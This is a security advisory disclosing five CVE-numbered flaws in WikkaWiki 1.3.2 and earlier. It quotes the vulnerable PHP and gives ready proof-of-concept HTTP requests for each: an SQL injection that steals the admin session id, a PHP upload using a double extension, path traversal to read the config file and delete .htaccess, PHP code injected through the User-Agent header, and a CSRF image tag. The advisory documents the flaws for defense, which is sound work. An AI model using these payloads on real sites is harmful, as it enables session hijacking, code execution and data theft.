WikkaWiki <= 1.3.2 - Multiple Security Vulnerabilities

2014-07-0100:00:00
Root
www.seebug.org
1783
0.016 Low
EPSS
Percentile
87.6%
JSON
No description provided by source.

                                                  ----------------------------------------------------
  WikkaWiki &#60;= 1.3.2 Multiple Security Vulnerabilities
  ----------------------------------------------------
  
  author............: Egidio Romano aka EgiX
  mail..............: n0b0d13s[at]gmail[dot]com
  software link.....: http://wikkawiki.org/
  
  
  +---------------------------------------------------+
  | SQL Injection in UPDATE statement (CVE-2011-4448) |
  +---------------------------------------------------+
  
  The vulnerable code is located in /actions/usersettings/usersettings.php
  
  140.            default: // input is valid
  141.            $this-&#62;Query(&#34;
  142.                UPDATE &#34;.$this-&#62;GetConfigValue(&#39;table_prefix&#39;).&#34;users
  143.                SET email = &#39;&#34;.mysql_real_escape_string($email).&#34;&#39;,
  144.                    doubleclickedit = &#39;&#34;.mysql_real_escape_string($doubleclickedit).&#34;&#39;,
  145.                    show_comments = &#39;&#34;.mysql_real_escape_string($show_comments).&#34;&#39;,
  146.                    default_comment_display = &#39;&#34;.$default_comment_display.&#34;&#39;,
  147.                    revisioncount = &#34;.$revisioncount.&#34;,
  148.                    changescount = &#34;.$changescount.&#34;,
  149.                    theme = &#39;&#34;.mysql_real_escape_string($usertheme).&#34;&#39;                
  150.                WHERE name = &#39;&#34;.$user[&#39;name&#39;].&#34;&#39;
  151.                LIMIT 1&#34;
  152.                );
  
  When handling  &#39;update&#39; action,  &#39;default_comment_display&#39; is  the only parameter  that isn&#39;t  sanitized with
  mysql_real_escape_string(), this can be exploited to inject arbitrary SQL code. Because of this is a multiple
  lines query and latest version of MySQL doesn&#39;t allow to start comment with /* no followed by a */, sometimes
  It&#39;s impossible  to alter the  &#39;users&#39; table content  for e.g.  changing the  admin&#39;s password, but  is still
  possible to inject a subquery to fetch for e.g. the session id of admin for a Session Hijacking attack.
  This is a proof of concept request:
  
   POST /wikka/UserSettings HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6
   Content-Length: 140
   Content-Type: application/x-www-form-urlencoded
   Connection: keep-alive

   action=update&email=test%40test.com&default_comment_display=&#39;,email=(SELECT sessionid FROM wikka_sessions WHERE userid=&#39;WikiAdmin&#39;),theme=&#39;

  If admin is currently logged in, attacker will see his session id in the email field of &#39;UserSettings&#39; form.
  If admin doesn&#39;t  explicitly logout (for e.g. close  the browser before click on &#39;Logout&#39;  link) his session
  remains however  stored into  DB, so  this attack  could success also  if admin  isn&#39;t currently  logged in.
  Successful exploitation no needs magic_quotes_gpc = off because of &#39;magicQuotesWorkaround&#39; function.
  
  
  +------------------------------------------+
  | Unrestricted File Upload (CVE-2011-4449) |
  +------------------------------------------+
  
  The vulnerable code is located in /actions/files/files.php
  
  266.            elseif (preg_match(&#39;/.+\.(&#39;.$allowed_extensions.&#39;)$/i&#39;, $_FILES[&#39;file&#39;][&#39;name&#39;]))
  267.            {
  268.                $strippedname = str_replace(&#39;\&#39;&#39;, &#39;&#39;, $_FILES[&#39;file&#39;][&#39;name&#39;]);
  269.                $strippedname = rawurlencode($strippedname);
  270.                $strippedname = stripslashes($strippedname);
  271.                $destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname; #89
  272.    
  273.                if (!file_exists($destfile))
  274.                {
  275.                    if (move_uploaded_file($_FILES[&#39;file&#39;][&#39;tmp_name&#39;], $destfile))
  276.                    {
  277.                        $notification_msg = T_(&#34;File was successfully uploaded.&#34;);
  278.                    }
  
  If &#39;INTRANET_MODE&#39; is explicitly enabled or if an attacker conduct a successful Session Hijacking attack
  using the first  vulnerability, It&#39;s possible to  upload files that contains multiple  extensions due to
  insufficient input sanitization at line 266. Now look at $allowed_extensions variable definition:
  
  &#39;gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html&#39;
  
  It contains some extensions  (e.g. mm, vpp...) that are rare to see in  a MIME type Apache configuration
  setting, and this could lead to execution of arbitrary PHP code. Proof of concept upload request:
  
   POST /wikka/test HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3
   Content-Length: 251
   Content-Type: multipart/form-data; boundary=--------1503534127
   Connection: keep-alive
   
   ----------1503534127
   Content-Disposition: form-data; name=&#34;file&#34;; filename=&#34;test.php.mm&#34;
   Content-Type: application/octet-stream
   
   &#60;?php phpinfo(); ?&#62;
   ----------1503534127
   Content-Disposition: form-data; name=&#34;upload&#34;
   
   Upload
   ----------1503534127--
   
  Where &#39;test&#39; is a page containing the {{files}} action.
   
   
  +---------------------------------------------------------------------+
  | Arbitrary File Download and Arbitrary File Deletion (CVE-2011-4450) |
  +---------------------------------------------------------------------+
  
  The vulnerable code is located in /handlers/files.xml/files.xml.php
  
  53.    $file = $this-&#62;GetSafeVar(&#39;file&#39;, &#39;get&#39;);
  54.    if (&#39;.&#39; == $file{0})
  55.    {
  56.        $this-&#62;Redirect($this-&#62;Href(), T_(&#34;Sorry, files of this type are not allowed.&#34;));
  57.    }
  58.    // do the action
  59.    $action = $this-&#62;GetSafeVar(&#39;action&#39;, &#39;get&#39;);
  60.    switch ($action)    # #312
  61.    {
  62.        // @@@ shared download code
  63.        case &#39;download&#39;:
  64.            header(&#39;Accept-Ranges: bytes&#39;);
  65.            $_GET[&#39;file&#39;] = basename($file); # #312
  66.            $path = $upload_path.DIRECTORY_SEPARATOR.$file;    # #89, #312
  
  ...

  101.            $fp = fopen($path, &#39;rb&#39;);
  102.            while (!feof($fp))
  103.            {
  104.                $data = fread($fp, 4096);
  105.                echo $data;
  106.            }
  107.            fclose($fp);
  108.            exit();
  109.        case &#39;delete&#39;:
  110.            if ($this-&#62;IsAdmin() && FALSE===empty($file) && T_(&#34;File deleted&#34;) == $_SESSION[&#39;redirectmessage&#39;])
  111.            {
  112.                $delete_success = @unlink($upload_path.DIRECTORY_SEPARATOR.$file); # #89, #312
  
  The only check  of the user supplied filename  is done at line 54,  if the filename start with  a dot It&#39;s
  rejected otherwise  It&#39;s accepted.  But this  isn&#39;t an efficiently  countermeasure against  Path Traversal
  attacks, infact an attacker could request an URL like this:
  
   http://localhost/wikka/test/files.xml?action=download&file=/../../wikka.config.php
  
  to download for e.g.  the configuration file (note that &#39;test&#39; is a  page containing the {{files}} action,
  but attachments aren&#39;t required for download or delete arbitrary files). Similarly, if an attacker conduct
  a successful Session Hijacking attack using the first vulnerability, once he could send this POST request:
  
   POST /wikka/test HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=2nobpqp3a1bsf3j1ccl0stj6l6
   Content-Length: 16
   Content-Type: application/x-www-form-urlencoded
   Connection: keep-alive

   file_to_delete=1

  to set $_SESSION[&#39;redirectmessage&#39;] and after he could request an URL like this to delete arbitrary files:
  
   http://localhost/wikka/test/files.xml?action=delete&file=/../../.htaccess
   
   
  +---------------------------------------+
  | Remote Code Execution (CVE-2011-4451) |
  +---------------------------------------+
  
  The vulnerable code is located in logSpam() function defined into /libs/Wakka.class.php
  
  1315.     function logSpam($type,$tag,$body,$reason,$urlcount,$user=&#39;&#39;,$time=&#39;&#39;)
  1316.     {
  1317.        // set path
  1318.        $spamlogpath = (isset($this-&#62;config[&#39;spamlog_path&#39;])) ? $this-&#62;config[&#39;spamlog_path&#39;] : DEF_SPAMLOG_PATH;    # @@@ make function
  1319.        // gather data
  1320.        if ($user == &#39;&#39;)
  1321.        {
  1322.            $user = $this-&#62;GetUserName();                    # defaults to REMOTE_HOST to domain for anonymous user
  1323.        }
  1324.        if ($time == &#39;&#39;)
  1325.        {
  1326.            $time = date(&#39;Y-m-d H:i:s&#39;);                    # current date/time
  1327.        }
  1328.        if (preg_match(&#39;/^mass delete/&#39;,$reason))            # @@@ i18n
  1329.        {
  1330.            $originip = &#39;0.0.0.0&#39;;                            # don&#39;t record deleter&#39;s IP address!
  1331.        }
  1332.        else
  1333.        {
  1334.            $originip = $_SERVER[&#39;REMOTE_ADDR&#39;];
  1335.        }
  1336.        $ua        = (isset($_SERVER[&#39;HTTP_USER_AGENT&#39;])) ? &#39;[&#39;.$_SERVER[&#39;HTTP_USER_AGENT&#39;].&#39;]&#39; : &#39;[?]&#39;;
  1337.        $body        = trim($body);
  1338.        $sig        = SPAMLOG_SIG.&#39; &#39;.$type.&#39; &#39;.$time.&#39; &#39;.$tag.&#39; - &#39;.$originip.&#39; - &#39;.$user.&#39; &#39;.$ua.&#39; - &#39;.$reason.&#39; - &#39;.$urlcount.&#34;\n&#34;;
  1339.        $content    = $sig.$body.&#34;\n\n&#34;;
  1340.    
  1341.        // add data to log            @@@ use appendFile
  1342.        return $this-&#62;appendFile($spamlogpath,$content);    # nr. of bytes written if successful, FALSE otherwise
  1343.  }
  
  If &#39;spam_logging&#39; option is enabled, an attacker could be able to inject arbitrary PHP code into &#39;spamlog_path&#39;
  file (that by default is &#39;./spamlog.txt.php&#39;) through $_SERVER[&#39;HTTP_USER_AGENT&#39;] variable. Proof of concept:
  
   POST /wikka/test/addcomment HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=6l11flsnvef642oajav0ufnp83
   User-Agent: &#60;?php phpinfo(); ?&#62;
   Content-Length: 27
   Content-Type: application/x-www-form-urlencoded
   Connection: keep-alive
  
   body=foo&submit=Add+Comment
   
   
  +--------------------------------------------+
  | Cross-Site Request Forgery (CVE-2011-4452) |
  +--------------------------------------------+
  
  CSRF attacks countermeasures aren&#39;t properly implemented, so an attacker could
  be able to create a malicious page containing an {{image}} action like this:
  
   {{image url=&#34;http://localhost/wikka/AdminUsers?user=TestUser&action=delete&#34;}}
   
  When the admin will visit this page, the &#39;TestUser&#39; account will be deleted.
    
   
  [-] Disclosure timeline:
  
  [07/10/2011] - Vulnerabilities discovered
  [09/10/2011] - Issues reported to http://wush.net/trac/wikka/ticket/1097
  [10/10/2011] - RCE and CSRF vulnerabilities discovered
  [11/10/2011] - RCE and CSRF vulnerabilities reported to http://wush.net/trac/wikka/ticket/1098
  [27/10/2011] - I&#39;ve provided possible bug fixes to vendor
  [28/11/2011] - After seven weeks still no fix released
  [30/11/2011] - Public disclosure
0.016 Low
EPSS
Percentile
87.6%
JSON
Related for SSV:72373